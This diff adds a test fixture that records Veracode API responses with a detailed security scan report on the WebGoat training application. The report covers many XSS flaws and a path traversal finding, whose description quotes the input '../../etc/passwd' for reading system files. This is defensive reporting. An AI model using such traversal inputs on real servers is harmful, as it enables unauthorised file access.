+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:09:37 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:10:37 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:10:37 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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